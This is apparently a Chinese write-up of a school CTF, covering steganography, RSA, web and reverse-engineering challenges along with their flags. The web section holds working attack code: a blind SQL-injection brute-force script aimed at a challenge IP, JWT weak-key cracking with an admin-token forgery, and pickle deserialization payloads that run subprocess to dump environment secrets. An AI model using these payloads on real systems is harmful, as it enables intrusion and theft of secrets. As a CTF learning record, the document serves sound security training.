week1-校赛复现

Misc

baby_misc

下载压缩包打开后,其中还有一个压缩文件和一个 mp3 格式文件,其中的压缩文件是加密的,如下:

所以我们要找到这个文件的密码,由题目中的提示,如下:

可知 mp3 音频的密码是 1111,解决音频后可能得到压缩包的密码

对于如何在 MP3stego 中执行解码命令

decode -X -P 密码 输入.mp3

打开后发现是压缩包,将其复制进入 010,并保存

保存成压缩包形式打开后

发现每一个文本中都有循环冗余,原始大小都为 6 字节

依次暴破

找到了压缩文件密码,如下:

oh_you_are_9ood_at_CRC32

解压完成后打开,内容如下:

看他的文件头,就可以发现这是一个 gif 动图,将其复制进 010 中并保存

重新打开后就可以看到转瞬即逝的 flag,利用 stegsolve 分析

选择 Frame Browser 对动图进行逐帧分析

得到

QLNU{L1st3n_bE4ut1ful_5ong}

Ez_QR

下载并解压附件后是 50 个二维码

方法一:

依次扫描 ,组合,就得到 flag

方法二:

利用 python 脚本来解决,但是我这个脚本有些许复杂,它只能出来单个的,并且是乱序,需要自己进行排序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import os
import glob
import zxing


def read_qr_code(image_path):
_""" 读取二维码图片并解析其内容 """_
_ _reader = zxing.BarCodeReader()
barcode = reader.decode(image_path)
return barcode.raw if barcode else None


def extract_flag_from_folder(folder_path):
_""" 扫描文件夹中的所有二维码图片并分别显示解析内容 """_
_ _qr_files = glob.glob(os.path.join(folder_path, "*.png")) + \
glob.glob(os.path.join(folder_path, "*.jpg")) + \
glob.glob(os.path.join(folder_path, "*.jpeg"))

if not qr_files:
print("未找到二维码图片")
return ""

flag_parts = []
for file in sorted(qr_files): # 按文件名排序,确保顺序正确
content = read_qr_code(file)
if content:
print(f"文件: {os.path.basename(file)} -> 内容: {content}")
flag_parts.append(content)

flag = ''.join(flag_parts)
print("\n完整 Flag:", flag)
return flag


if __name__ == "__main__":
folder_path = r"D:\第二次校赛\attachment_QR" # 你的二维码图片文件夹路径
if not os.path.exists(folder_path):
print("文件夹不存在,请检查路径是否正确!")
else:
extract_flag_from_folder(folder_path)

他的输出结果就是下面这样

方法三:

利用网站批量扫描
https://cli.im/deqr/other

你是 mvp 还是躺赢狗?

打开附件后是下面的这样的一张图

将其拖进 010,看看有没有隐藏的东西

在 010 中可以看出有另外一个压缩包,复制后在 010 中新建一个文件,并保存

打开后 ,是这样的一幅图

很显然,图片的高度被切割了

可以在 010 中修改图片的高度,像下面橘色区域的位置,我这是已经修改好的

保存后,重新打开这张图片就能看到被隐藏的 flag

QLNU{l00k_1n_My_3ye5_!}

奇怪的动图

根据提示,这道题目利用明文攻击

压缩 orgin.gif 成 zip 文件

利用 ARCHPR 工具进行明文攻击

我们根据 wp 中已知:flag 的二进制数列转换成不同大小的帧间隔(因为 gif 非常的卡)

利用 puzzlesolve 提取帧间隔

利用赛博厨子

将 30 改 0,130 改 1,如下:

0100000000110001010001100101111101101001001101010101111101100001011011010100000001111010001100010110111000111001

得到 flag:QLNU{@1F_i5_am@z1n9}

签到

打开后说 flag 为 UUxOVXtxMW51X3l5ZDUhfQ==

利用赛博厨子进行转换,最终得到

QLNU{q1nu_yyd5!}

生日的祝福

从祝福信中

得到密码的形式,及使用 binwalk 工具

另外我们还有一个不知格式的生日礼物

我们看看它的十六进制,看看有什么隐藏的线索

新建一个文件,将下面的十六进制文本复制,如下:

保存成 zip 文件

这个时候要找到压缩文件的密钥,也就是从生日祝福中得到的线索

这个时候利用我们已知的信息进行掩码攻击

格式:??-18??-??-14

得到密码为 xy-1845-11-14

放进赛博厨子,进行了 16 次不换表 base64 解密,即偏移量为 16

打开后看到

我们在另外一个文件中看到

给他进行凯撒解码,得到

这样就得到新表为:ABCDEFGabcdefghijklmnopqrstuvwxyzHIJKLMNOPQRST0123456789+/UVWXYZ

再进行 base64 解码,4 次,得到 flag

QLNU{Y0u_@r4_gO0d_Ctfer!}

NetTraffic

e45e329feb5d925b

mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047YjfczwY6j7iPM15/igg+WdSX6rY+JBrmtNQgtQXXmACCBBgYmo3UC3C0ttYlk6fo7cEZ4KL2ywLgZlrAte/3VIAP80dXyUz/tEWGpwURP8oXl3z7kUkzk1oWz3A7q76gXiDzi0WuWNBNNOd/IKpT3XrRVblJ3yMo0N8Frw9kmCkJpK8gnIKag==

继续往下找

mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047YjfczwY6j6FRdeJTeKrveUGDa4E0d7ntz2dsvDXhVWBK0RRSwrdm5Puy5yjoJ/kEwBRPs7RVZed8+l7HBOmx/mDvLCbKp8V

获得 flag:QLNU{b3h1NdEr_WebShEll_A_L1ttle_hArd}

Crypto

ez_rsa

1
2
3
4
5
6
7
8
9
p= 90387314829577654422580031074599849052489238017386590909427609518517830566632094153174983956061626373542148240632197282485834233498500360232839084537084441830816514377758069170092001168381491479309335271918675512196998198539464292877701133358699988066055212018603381917137199082127062670061784408062745010247

q= 131956964140437962238499019120856300797119073778027003002410884250396411838742340328080251408907361408806296819791922928892510090479973276769850659868697243411701946298190698869130430898400373194761890908225250866477990376871572627474128475108692336502916114993456438619932236295206409818033775388146000072237

e= 65537

c=10410921907308276410589892193503777002613206525409600556582550130141239927384225094961244567250536114378262855720197279202379339896438970790676722385500897567129069224577416685817545829358494364962182199000462733858163411476930100883908770692701838181723658773973906387237278170734899690708594256204971349985771317564511229193597685929139414357691595246148020635838183673924739613551091535814336813669476452556824499750065035663728996877554070485866597029563465929590470889674480345186537435258607153437323899798451617074637518593529083308029187565110013064533249964278447406229869537622883525179107457102587647233026

求明文m

利用脚本来解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import inverse

# 给定的参数
p = 90387314829577654422580031074599849052489238017386590909427609518517830566632094153174983956061626373542148240632197282485834233498500360232839084537084441830816514377758069170092001168381491479309335271918675512196998198539464292877701133358699988066055212018603381917137199082127062670061784408062745010247
q = 131956964140437962238499019120856300797119073778027003002410884250396411838742340328080251408907361408806296819791922928892510090479973276769850659868697243411701946298190698869130430898400373194761890908225250866477990376871572627474128475108692336502916114993456438619932236295206409818033775388146000072237
e = 65537
c = 10410921907308276410589892193503777002613206525409600556582550130141239927384225094961244567250536114378262855720197279202379339896438970790676722385500897567129069224577416685817545829358494364962182199000462733858163411476930100883908770692701838181723658773973906387237278170734899690708594256204971349985771317564511229193597685929139414357691595246148020635838183673924739613551091535814336813669476452556824499750065035663728996877554070485866597029563465929590470889674480345186537435258607153437323899798451617074637518593529083308029187565110013064533249964278447406229869537622883525179107457102587647233026

# 计算 n 和 φ(n)
n = p * q
phi_n = (p - 1) * (q - 1)

# 计算 d = e^(-1) mod φ(n)
d = inverse(e, phi_n)

# 解密过程:m = c^d mod n
m = pow(c, d, n)

# 将明文从数字转换为字符串(假设明文是ASCII编码)
m_hex = hex(m)[2:] # 将明文转换为十六进制字符串
m_bytes = bytes.fromhex(m_hex) # 将十六进制字符串转换为字节
m_text = m_bytes.decode('utf-8') # 将字节解码为字符串

print("明文 m:", m_text)

得到 flag

1
QLNU{9f873f1c0315202caf47572a0bc24715}

Factor

先看提示:e 很大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import gmpy2
import hashlib
from Crypto.Util.number import *

p = getPrime(512)
q = getPrime(512)
d = getPrime(256)


e = gmpy2.invert(d, (p**2 - 1) * (q**2 - 1))
flag = "QLNU{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"
p_q=p*q
print("e=\n",e)
print("p_q=",p_q)

#e= 11881209201971769960545703420363113088458113193917302081488139824023488466450534979302732775384261289951663819889383871283393435874567676058308730840994269996270426872346181095147425555870816458739259424057593858926773175930567718921307007595412152051860198768425341047243910648792204871486820556061229776758481253766707460244191508467315608593552402934008546939260075670480877521747770290966713971305116824304584455834311003344575523703742396038296944940442595094190044721224502492997055499840877943626918705332507414838517447739584296497147630049609284613069010147083669015648970926768008012325363050285133655831209
#p_q= 130506917901757833500880656818230820111814896821558809911665070609238340634103350641776200339447972610494005145107335910027066209703279478749621714942522771203012251624129809835281668541767719703766910930322436841293254585077622914048546318552348193600182349920340961207838400472237841419251522129796103603763

找脚本来解决这个问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import gmpy2
import libnum
import hashlib
import random

def continuedFra(x, y):
"""计算连分数
:param x: 分子
:param y: 分母
:return: 连分数列表
"""
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
"""计算传入列表最后的渐进分数
:param cf: 连分数列表
:return: 该列表最后的渐近分数
"""
numerator = 0
denominator = 1
for x in cf[::-1]:
# 这里的渐进分数分子分母要分开
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator
def solve_pq(a, b, c):
"""使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
:param a:x^2的系数
:param b:x的系数
:param c:pq
:return:p,q
"""
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
"""计算列表所有的渐近分数
:param cf: 连分数列表
:return: 该列表所有的渐近分数
"""
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf


def wienerAttack(e, n):
"""
:param e:
:param n:
:return: 私钥d
"""
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0: continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return d



e=11881209201971769960545703420363113088458113193917302081488139824023488466450534979302732775384261289951663819889383871283393435874567676058308730840994269996270426872346181095147425555870816458739259424057593858926773175930567718921307007595412152051860198768425341047243910648792204871486820556061229776758481253766707460244191508467315608593552402934008546939260075670480877521747770290966713971305116824304584455834311003344575523703742396038296944940442595094190044721224502492997055499840877943626918705332507414838517447739584296497147630049609284613069010147083669015648970926768008012325363050285133655831209
n=130506917901757833500880656818230820111814896821558809911665070609238340634103350641776200339447972610494005145107335910027066209703279478749621714942522771203012251624129809835281668541767719703766910930322436841293254585077622914048546318552348193600182349920340961207838400472237841419251522129796103603763
d=wienerAttack(e, n**2)
k = e * d - 1

r = k
t = 0
while True:
r = r // 2
t += 1
if r % 2 == 1:
break

success = False

for i in range(1, 101):
g = random.randint(0, n)
y = pow(g, r, n)
if y == 1 or y == n - 1:
continue

for j in range(1, t):
x = pow(y, 2, n)
if x == 1:
success = True
break
elif x == n - 1:
continue
else:
y = x

if success:
break
else:
continue

if success:
p = libnum.gcd(y - 1, n)
q = n // p
print('P: ' + '%s' % p)
print('Q: ' + '%s' % q)
hash_result = hashlib.md5(str(p + q).encode()).hexdigest()

print(b'QLNU{' + hash_result.encode() + b'}')
else:
print('Cannot compute P and Q')

QLNU{88a27758257b7c87174b6ea972a1b854}

not_prime

根据提示,e 和 phi 不互素

原题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import *
m=bytes_to_long(b'xxxxxx')
p=getPrime(1024)
q=getPrime(1024)
e= 485
n=p*q
c=pow(m,e,n)
print("p=",p)
print("q=",q)
print("c=",c)

#p= 90001590571628449882768356132693793320380710587438751445227717046797643492854890272077076028501400801674037970146456442693356333145725683391580452197350307034664396425412189131031945585055386833984609074633912616551061262531556612042816706715156941338165698736593509428548029187638818394121469201965625147221
#q= 105269145185972005922101600001495560536711004054072625220240025622162044045232737266024106976484532324266604741308149241323569573803457119996593779129028876049944017213001133943043835369146690600654256999505984093654055465044150981679096848362996982680425629145233824412870249754368525048882875131030178432721
#c= 4011466196771057453748051548070252889305829159014486083134296940977745797784900339093445458817425649129360677656834717166461191857503662276260763813274523589374268178658075412219913461626103952622745086746603503909555807801624176466958878038820537440624646031996479670501067595211298340535838371124894533011681024206320817178328457414141064757221298996098449657759602092816345597925775497162488952621217176091286174386154264803599820578496373057033647920530416431159596919698553375884228694958053211497272788860741443420407312773534728288229296432297638584262400238090812394095583427915756299194616536991896049110187

利用脚本解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import gmpy2
from Crypto.Util.number import *
p= 90001590571628449882768356132693793320380710587438751445227717046797643492854890272077076028501400801674037970146456442693356333145725683391580452197350307034664396425412189131031945585055386833984609074633912616551061262531556612042816706715156941338165698736593509428548029187638818394121469201965625147221
q= 105269145185972005922101600001495560536711004054072625220240025622162044045232737266024106976484532324266604741308149241323569573803457119996593779129028876049944017213001133943043835369146690600654256999505984093654055465044150981679096848362996982680425629145233824412870249754368525048882875131030178432721
e= 485
c= 4011466196771057453748051548070252889305829159014486083134296940977745797784900339093445458817425649129360677656834717166461191857503662276260763813274523589374268178658075412219913461626103952622745086746603503909555807801624176466958878038820537440624646031996479670501067595211298340535838371124894533011681024206320817178328457414141064757221298996098449657759602092816345597925775497162488952621217176091286174386154264803599820578496373057033647920530416431159596919698553375884228694958053211497272788860741443420407312773534728288229296432297638584262400238090812394095583427915756299194616536991896049110187

n = p * q


# 当e约去公约数后与phi互素
def decrypt(p, q, e, c):
n = p * q
phi = (p - 1) * (q - 1)
t = gmpy2.gcd(e, phi)
d = gmpy2.invert(e // t, phi)
m = pow(c, d, n)
print(m)
msg = gmpy2.iroot(m, t)
print(msg)
if msg[1]:
(print(long_to_bytes(msg[0])))

decrypt(p, q, e, c)

QLNU{1f4154c0-9d88-4882-b41f-75ce14664c91}

Web

Myjwt

看提示

jwt 是个啥

弱密钥

题目名字 myjwt 也是一个工具

这里使用 https://jwt.io/

利用 myjwt 工具,获得密码

使用 myjwt 得到新的 jwt,利用字典暴破得到密码为 12345678

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJleHAiOjE3NDI3MzA0MTF9.D6_ADIpgPto9XWtPKPqN17CX3x1NZ3_1VoEIDhmsbXY

将 guest 改为 admin

密码为 12345678

得到新的 jwt:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJleHAiOjE3NDI3MzA0MTF9.TNnlCu96PT8VmwGmzhmvcEiGDODVX7g_mu8B824rEKE

再使用 insomnia

flag{8146d9bd-18d1-4512-bb44-c1a2dcf7d2f2}

泄露

根据已知条件,题目网址为 https://balabala.sky233.top/

输入 https://balabala.sky233.top/robots.txt

可以知道这道题目为 git 泄露
我是从虚拟机中解决的这道题

得到 flag

QLNU{S1mpl3_g1t_AnD_sWp}

SQL

先看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import string
import os
import time
from functools import cache
from pathlib import Path

import psycopg2
from flask import Flask, request

app = Flask(__name__)
flag = Path("/app/f1aaaaaaggggggg").read_text().strip()

white_list = set(" 'flag{HeL10_W0rld}'" + string.digits + string.ascii_letters+'-')
black_list = ["like"]

@cache
def connect_database():
db_user = "postgres"
db_password = "postgresql"
db_host = "127.0.0.1"

connection = psycopg2.connect(user=db_user, password=db_password, host=db_host)

return connection

with app.app_context():
time.sleep(3)
conn = connect_database()
create_sql = """
DROP TABLE IF EXISTS company;
CREATE TABLE IF NOT EXISTS company (
name TEXT
)
"""

with conn.cursor() as sql:
sql.execute(create_sql)
sql.execute("SELECT COUNT(*) FROM company")
if sql.fetchall()[0][0] == 0:
sql.execute("INSERT INTO company (name) VALUES ('ikun')")
sql.execute("INSERT INTO company (name) VALUES ('man')")
sql.execute("INSERT INTO company (name) VALUES ('%s')" % (flag))
conn.commit()

@app.post("/submit")
def submit_form():
conn = None
try:
username = request.form["username"]
conn = connect_database()

for char in username:
if char not in white_list:
return "你这名字有点奇怪emmm", 400

for forbidden_word in black_list:
if forbidden_word in username.lower():
return "发现商业间谍,鸡毙你!!!", 400

with conn.cursor() as curr:
curr.execute("SELECT * FROM company WHERE name = '%s'" % username)
result = curr.fetchall()

if len(result):
return "恭喜你,开启美好的一天吧", 200
return "你是新来的员工吗,我怎么不认识你", 201

except Exception as e:
return f"Error: {str(e)}", 400

finally:
if conn is not None:
conn.commit()

@app.get("/")
def index():
return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>打卡机</title>
</head>
<body style="background-image: url(//images/week1-web-校赛wp.assets/i_like_work.jpg)">
<a>勤劳的打工人,请输入名字进行上班打卡</a>
<form action="/submit" method="POST">
<input type="text" name="username" style="width: 80vw">
</form>
</body>
</html>
""", 200

if __name__ == "__main__":
app.run(debug=True)

根据提示

不是 mysql

Postgresql

打开实例后是这样的

SIMILAR TO 是 PostgreSQL 特有的模糊匹配操作符,其模式语法结合了 LIKE 的通配符(%_)和正则表达式的元字符(如 |()[])。Postgresql 学习笔记之——模糊匹配 LIKE、SIMILAR TO 和 POSIX 正则表达式_sql similar to-CSDN 博客

SQL 通配符的应用 https://www.runoob.com/sql/sql-wildcards.html

利用脚本进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import string

url = "http://101.35.218.130:32887/submit"
flag = ""
payload = "_"
words = string.ascii_letters + string.digits + "{}- "

headers = {
'Content-Type':'application/x-www-form-urlencoded'
}
#探测flag长度
for i in range(1, 51):
flag = "_" * i
data = {
"username": f"1' or name similar to '{flag}"
}
response = requests.post(url, data=data,headers=headers)
if "恭喜你" in response.text:
last_found_count=i

#探测flag
flag=''
for i in range(1,last_found_count+1):
for j in words:
res = requests.post(url,data="username=1' or name SIMILAR TO '" + (payload * (i - 1)) + j + (payload * (last_found_count - i)),headers=headers)
if "恭喜你" in res.text:
flag = flag + j
break
print(flag)

运行结果获得 flag

QLNU{45e30069-07f2-4026-b581-32058e8503fa}

Py

先看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from flask import Flask, request, redirect, render_template, session
import pickle
import os

#该文件位于/app/app.py
app = Flask(__name__)
app.secret_key = os.urandom(24)
FLAG = os.environ.get('GZCTF_FLAG', 'CTF{test_flag}')

@app.route('/')
def index():
if not session.get('logged_in'):
return redirect('/login')
return redirect('/dashboard')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username == 'admin' and password == '猜下密码':
session['logged_in'] = True
return redirect('/dashboard')
return '<script>alert("Invalid!"); location.href="/login";</script>'
return render_template('login.html')

@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
if not session.get('logged_in'):
return redirect('/login')

if request.method == 'POST':
data = request.form.get('data', '')
try:
result = pickle.loads(bytes.fromhex(data))
return f'Data processed: {str(result)}' # 显示反序列化结果
except Exception as e:
return f'Error: {str(e)}'

return render_template('dashboard.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

登陆需要密码,可以尝试以下 Burp Suite 爆破,我们有字典

先添加 payload

得到密码为 admin123

输入后得到

看源码中,与 pickle 反序列化

我们可以通过构造恶意的 payload

1
2
3
4
5
6
7
8
9
10
import pickle
import os

_class_ Exploit:
_def_ __reduce__(_self_):
_# 读取环境变量并返回_
return (os.getenv, ('GZCTF_FLAG',))

payload = pickle.dumps(Exploit()).hex()
print(payload)

这里也可以利用 subprocess 命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 导入必要的模块
import pickle # Python对象序列化模块(危险:反序列化时可执行任意代码)
import subprocess # 用于执行系统命令

# 定义一个恶意类,利用pickle反序列化时自动调用的__reduce__方法
class Exploit:
def __reduce__(self):
"""
当对象被pickle反序列化时,此方法会被调用
返回一个元组:(可调用对象, 参数元组)
"""
# 返回subprocess.check_output函数和它的参数
# 参数是一个命令列表:["printenv", "GZCTF_FLAG"]
# 这个命令会打印环境变量GZCTF_FLAG的值
return (subprocess.check_output, (["printenv", "GZCTF_FLAG"],))

# 生成恶意payload
# 1. 创建Exploit对象
# 2. pickle.dumps将其序列化为字节流
# 3. .hex()将字节流转换为十六进制字符串(便于传输或存储)
payload = pickle.dumps(Exploit()).hex()

# 输出payload(十六进制形式)
print(payload)

依旧可以实现

得到

80049522000000000000008c026f73948c06676574656e769493948c0a475a4354465f464c414794859452942e

获得 flag QLNU{a1fa2161-e736-4f91-9a50-596a0cc6f049}

Re

Fly_Bird

先用 die 查一下,发现是用 upx 包裹的 32 位

所以先用 upx 脱壳

这样就脱壳完成了,

再将其拖进 ida,就能找到 flag

QLNU{no_pain_no_gains}

茶(promax 版)

解压附件后是一个 exe 的格式文件,用 die 打开后发现有一处被魔改的 upx

接下来用 010 打开,进行修改

保存后重新用 die 打开

一个普通的 upx 壳,进行脱壳

这样就脱壳成功了,接下来我们就可以把它放进 ida 中进行分析

查看 unk_405020 的输入内容

看 enc 加密函数

  • 代码中 sum -= 1640531527
    • 1640531527 的十六进制是 0x61C88647,它是 0x9E3779B9 的补码表示(即 -0x61C88647 = 0x9E3779B9)。
    • 这是 XXTEA/TEA 家族算法 的标志性常量。

利用脚本解决这个问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
#define delta 0x9e3779b9

int main()
{
unsigned int v[37] = {0x76D42BE1, 0xD9DF03C4, 0x0BD0A181, 0xF10201C0, 0xE4592862, 0xCA7A6980, 0x042150A6, 0x2BE23AF3, 0x356E5E55, 0xC2337C76, 0xB7313BD7, 0x5B2E1195, 0xF59BE5C7, 0xD1FE3936, 0xBAD4593E, 0xC8776223, 0xA6ED7222, 0x811C4F11, 0x4FAD07DC, 0xD36AA578, 0x0230540B, 0xF89E6C42, 0x6D27DD7D, 0xECF5B7C3, 0xA9346EEC, 0xC81EF864, 0xAE305136, 0xB0DCD19A, 0x9149D1C7, 0xA593BD5F, 0x0458FCCA, 0x5A5BDBAF, 0x1C1C2221, 0x87DFA0FF, 0x4753CF52, 0x5D696B28, 0x422A7BB4};

unsigned int key[5] = {5,6,7,8,9};
unsigned int sum = 0;
unsigned int y,z,p,rounds,e;
int n = 37;
int i = 0;
rounds = 6 + 52/n;
y = v[0];
sum = rounds*delta;
do
{
e = sum >> 2 & 3;
for(p=n-1;p>0;p--)
{
z = v[p-1];
v[p] -= ((((z>>5)^(y<<2))+((y>>3)^(z<<4))) ^ ((key[(p&3)^e]^z)+(y ^ sum)));
y = v[p];
}
z = v[n-1];
v[0] -= (((key[(p^e)&3]^z)+(y ^ sum)) ^ (((y<<2)^(z>>5))+((z<<4)^(y>>3))));
y = v[0];
sum = sum-delta;
}while(--rounds);

for(i=0;i<n;i++)
{
printf("%c%c%c%c",*((char*)&v[i]+0),*((char*)&v[i]+1),*((char*)&v[i]+2),*((char*)&v[i]+3));
//printf("%c%c%c%c",*((char*)&v[i]+3),*((char*)&v[i]+2),*((char*)&v[i]+1),*((char*)&v[i]+0));
}
return 0;
}

QLNU{^_^yoU_MuST_1iK3_Th3_t34_pR0m4x}

deepsleep

先拖进 die 中进行查看,没有加壳

那我们就直接拖进 ida 中查看 main 函数

用户输入的为 24 字节的 Arglist

1
2
3
.rdata:00402220 04 04 04 04 04 04 04 04 04 04+xmmword_402220 xmmword 4040404040404040404040404040404h
.rdata:00402220 04 04 04 04 04 04 ; DATA XREF: _main+157↑r
.rdata:00402230 55 48 4A 51 7F 73 34 5B 6C 45+xmmword_402230 xmmword 6A656D7C5B6D456C5B34737F514A4855h

前十六位和 16 个进行异或,后 8 位和 4 进行异或

C[whAaTy 后 8 位预计输出的内容,将两端内容进行拼接,获取最后的 flag

利用脚本进行拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def decrypt_re_challenge():
# 根据用户提供的数据段信息
# xmmword_402220 是 16 个 0x04
xor_key = b'\x04' * 16

# xmmword_402230 的字节序列(从 .rdata 段提取)
xmm230_bytes = bytes.fromhex("55484A517F73345B6C456D5B7C6D656A") # 共16字节

# 加密后的后8字节数据(固定字符串 "C[whAaTy")
encrypted_part2 = b'C[whAaTy' # 原始字节:43 5B 77 68 41 61 54 79

# 解密前16字节:encrypted_part1 = xmm230_bytes,密钥为 xor_key (0x04*16)
decrypted_part1 = bytes([a ^ b for a, b in zip(xmm230_bytes, xor_key)])

# 解密后8字节:异或 0x04
decrypted_part2 = bytes([c ^ 0x04 for c in encrypted_part2])

# 组合得到原始输入(flag)
flag = decrypted_part1 + decrypted_part2
return flag


# 执行解密并输出结果
flag = decrypt_re_challenge()
print("解密后的Flag:", flag.decode('latin1')) # 处理可能的非ASCII字符

获得 flag

QLNU{w0_hAi_xianG_slEeP}

HUA

先拖进 die 中

脱壳

脱壳完成后,拖进 ida 中

看到有一处标红,可能是花指令

把它 nop 掉

找到 地图

得到 flag QLNU{ssaaasaassdddw}